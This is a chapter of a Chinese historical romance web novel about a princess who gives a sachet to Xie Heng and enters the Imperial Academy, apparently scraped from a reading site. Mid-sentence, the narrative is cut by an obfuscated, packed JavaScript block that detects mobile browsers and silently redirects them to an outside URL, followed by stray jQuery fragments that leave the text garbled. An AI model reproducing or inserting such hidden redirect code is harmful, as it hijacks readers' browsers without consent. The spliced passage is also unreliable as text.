默认冷灰
24号文字
方正启体

10. 第 10 章

作者:酸油桃本书字数:K更新时间:
    谢珩不是个迂腐不知变通的人,既然是这小郡主的一番心意,他若是拒绝了,她又哭给他看怎么办?


    莫名的,谢珩很不喜欢看她在自己面前哭。


    谢珩将桌上的香囊拿起来,塞进袖子里。


    指尖不经意触到香囊上有些粗糙的针脚,那歪歪扭扭的“平安”二字扎得他掌心微痒。


    周明月见他收了自己的香囊,轻轻的松了口气。


    拿人手短,拿了她的香囊,谢珩应该不会将他看到的说出去了吧。


    想着,她心里又忐忑起来,裴逸与谢珩能看见,会不会还有旁人也看见了呢?


    心里想着,她嘴上便问了出来。


    谢珩瞥她一眼,骄矜道:“放心,我说看见你没有推人,别人便不敢跳出来说你推人了。


    周明月心里一块石头落了地,凭谢珩在京中的威信与地位,他确实很有资格说这样的话。


    有了谢珩的保证,周明月放心的回了齐王府。


    夜风穿窗拂过案前烛火,她取出针线筐里另一只未完成的香囊,一边往里面填着香料,一边心不在焉的想着今日的事。


    今日她明明让萧娴欢狠狠的吃了憋,还将香囊送给了谢珩,谢珩并没有拒绝,她离谢珩更近了一步。


    可不知为何,她心里却高兴不起来。


    她脑海中不自觉的想起萧夫人的面孔来,她对自己不假辞色,甚至是厌烦。


    可对萧娴欢却是另一种态度,明知道萧娴欢所作所为,却愿意包庇纵容。


    她父王被萧家人害死的事,她究竟知不知道?


    周明月看着手中缝了一半的香囊,不耐烦的将香囊狠狠揉成一团扔进针线筐里。


    另一头的谢府,松墨居。


    谢珩穿一身宽松的白色棉袍,倚靠在床头翻阅古籍,烛影摇曳,映得他眉目清冷。


    成影又送来一盏烛台,小心的放在床边的架子上。


    他正要转身出去,眼角的余光却不经意间扫到了挂在帐幔上的香囊,他不禁顿住了脚步。


    成影赶紧揉了揉眼睛,他每日跟在公子身边,公子什么时候多了这么个香囊?


    那香囊针脚歪斜,绣着拙劣的“平安”二字,他家公子什么时候用过这样粗制滥造的东西?


    谢珩正沉浸在阅读古籍中,奈何一道身影站在烛台前,将他的光线挡了大半。


    他抬头看去,就见成影呆呆愣愣的盯着他的香囊发呆,谢珩顺着他的目光瞥了一眼帐幔,不悦道:“还不出去?”


    成影一惊,连忙回神,叉手行礼,转身退了出去。


    谢珩目光落在香囊上,轻轻吸了吸鼻子,呼吸间便立刻浸满了雨后清晨花草香,他唇角轻扬,继续埋头读书。


    ······


    从谢府赴宴回来,周明月密切关注了几日萧家的动向。


    虽没什么特别的动作,但那日在谢府湖边围观的人不少,她与萧娴欢的争执也被传了出去。


    裴家对她的不满更甚。


    周明月对此并不意外,她之所以引萧娴欢动手,除了想要借机教训萧娴欢出出气以外,便是想激起裴家对她的不满。


    看来再有几次类似的事,她与裴逸的婚事便能顺利的退掉了。


    没过几日,宫中便传来了旨意,皇上让她进国子监读书。


    大周朝建立才短短二十年,本朝对女子要求并不苛刻。


    再加上皇上为了拉拢新贵对抗世家,只要朝臣家中的子女愿意读书的,都可入国子监读书。


    国子监分了男子学堂与女子学堂,每日从辰时至午时授课,讲授经史、诗词、音律、礼仪。


    至于下午至晚上的时间,则由个人自行安排,愿意留下的可以留下自习,也可自行离去。


    来传旨的太监笑眯眯地捧着圣旨,宣读完毕后还不忘恭贺一声:“恭喜郡主,如今掌管国子监的是谢少师,不论新贵还是世家子女,都抢着进国子监读书呢。”


    又对着周明月掏心掏肺般劝道:“皇上听说了那日在谢家的事,要郡主照顾好自己的同时,在国子监好好读书,好歹得经营出个知书达理的好名声来。”


    国子监设立在皇宫外围的太液池旁,离齐王府大概有两刻钟的路程。


    周明月心中有些不愿,往后要日日早起读书了,这真是令人痛苦的一件事。


    可圣旨已下,容不得她退缩。


    次日清晨,天光未亮,周明月便被素雪叫起来更衣。


    她困得眼睛都睁不开,迷迷糊糊的洗了脸漱了口,连早膳也来不及吃,披上绣有云鹤纹的郡主常服,坐上马车就往皇宫方向赶。


    太液池波光潋滟,周明月在马车上补了一小觉,到国子监门口时,人已经精神多了。


    她踏进国子监的时候,众人基本已经到齐了。


    堂内数十张案几已座无虚席,周明月提着裙摆迈进去的时候,所有人的目光都不约而同地望了过来。


    她略一打量,心中暗忖,看来谢珩在京都的名声真是如天神降临一般了。


    如今他掌管国子监,连向来看不上国子监的世家子弟们都来的这般齐。


    学堂内分左右两列书案,每张书案后坐两个人。


    左侧书案坐的女郎们大多都是那日在谢家见过的世家女郎们,谢婉乔、萧娴欢、裴莺等人都在。


    右侧书案坐着的,都是一些陌生面孔,应是朝廷新贵们家的女儿了。


    周明月向夫子行过礼后,径直往右侧书案走去,在首席空位落座。


    皇伯父只有一子一女,太子堂兄如今被皇伯父派去江南办差,堂姐大公主已经出嫁了,不在国子监读书。


    她作为如今在场的唯一一位皇室中人,自然要站在皇室的立场上,坐在新贵一列。


    她这一落座,左侧传来几声轻嗤,夹杂着细微的私语。


    堂上的夫子仿佛没发现下面的暗流涌动一般,轻咳了一声,便开始了今日的讲学。


    周明月垂眸翻开书卷,指尖在书页上轻轻摩挲,恍若未闻,静静的发着呆。


    突然,眼前出现了一张小字条,周明月有些惊讶,悄悄转头看向身旁坐着的女郎。


    她的同案朝她眨了眨眼,嘴角带着一抹狡黠的笑意,字条上写着:“我叫赵裕安,是镇北候府的三娘子。”


    周明月仔细回忆了一番,镇北侯是随着皇伯父打天下的老臣,镇北侯府,实实在在的保皇党。


    赵裕安父亲如今在兵部任职,是兵部尚书,算是新贵中少有的实权官员。


    难怪赵裕安能坐在首席之位。


    周明月不动声色地在字条背面写下“周明月”三字,又将字条传了回去。


    二人自认为动作做的隐秘,却没逃过一直暗暗注视着她们的萧娴欢的眼睛。


    萧娴欢不屑的冷哼一声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062450|195085||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,先前她在京都最讨厌的人就是赵裕安,如今新添了个周明月。


    没想到她们二人如今竟凑到了一块儿。


    她心中暗骂:真是蛇鼠一窝!


    赵裕安接过字条,瞧见那小字,提笔添了几行字,又推了过去。


    周明月有些心虚的抬头看了看上头的先生,见先生兀自念着书,没有发现这边的动作,她又低下头去看赵裕安写了什么。


    “我听说那日你在谢家的宴席上与萧娴欢争执了起来,你可吃亏了?”


    周明月提笔道:“当然没有!”


    赵裕安看了字条,眉尖一挑,眼中闪过喜悦的神色,心中暗暗点头。


    萧娴欢在京中是出了名的嚣张跋扈,可人家背后有个强盛的家族撑腰,她又是族中最受宠的女郎。


    京中女子,被萧娴欢欺负的不少,能与萧娴欢正面对抗还不吃亏的寥寥无几。


    就连赵裕安自己,一开始也被萧娴欢狠狠的坑过几次。


    好在她是武将家的女儿,她爹又宠她,她从小跟着阿兄们一起习武,身手还算敏捷,才没栽了大跟头。


    如今来了个能跟萧娴欢打成平手的,秉持着敌人的敌人就是朋友的原则,赵裕安决定一定要与周明月结为盟友。


    正好齐王府与镇北侯府顺路,于是赵裕安下学便拉着周明月同行。


    周明月欣然答应,与朝廷新贵打好关系,于她而言不是坏事。


    回去的马车上除了她们二人,还有赵裕安的兄长,赵铮。


    赵铮与赵裕安是双胞胎,三人同龄,周明月有意交好,她们兄妹二人热忱又爽快,很快便相谈甚欢。


    到了第二日,周明月便对去国子监读书没有那么抗拒了,她自然而然的继续与赵裕安坐在了一起,依旧是畅聊半日。


    到了下学的时辰,二人正准备相携离开,萧娴欢不知抽了什么风,突然拦在二人面前。


    双手叉腰道:“某些人真是不知羞耻,都十七岁了,不在家里好好学学针织女红,管理中馈,还来国子监读书,怕不是想混个好名声,以便寻个好夫君吧?”


    本朝官宦人家的女子大多十五以后便要议亲了。


    定下亲事后,在家里好好学上两年针织女红、管理中馈,便要出嫁了。


    赵裕安十七岁还在国子监读书是因为家里宠爱,她本人不愿出嫁,只爱习武骑射,家中便由着她的性子来。


    周明月则是因为皇上与裴家博弈而耽误下来了。


    赵裕安脾气暴烈,闻言立刻上前驳斥道:“你在这胡说什么呢?”


    萧娴欢冷笑一声,目光斜睨,“我胡说?”


    “那你说,你来国子监做什么?我看你这两日忙着与她传小纸条,根本就没有好好读书。”


    “嗤······”赵裕安冷哼一声,“你忙着观察我们,怕是也没好好读书吧?你来这里就是监视我们的?”


    裴莺挽着萧娴欢的手臂,笑意盈盈地站出来道:“我作证,萧姐姐有好好读书。”


    周明月见她们为读书吵起来了,有些无语,冷眼道:“读不读书的不是最紧要的,最紧要的难道不是萧二娘子恨嫁吗?”


    这话可比说她不读书重的多,萧娴欢顿时又羞又恼,脸色涨红,恼火道:“你敢污蔑我?”


    周明月摊手,“我何时污蔑你了,是你一个未出阁的女子,在这里说什么寻不寻夫君的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)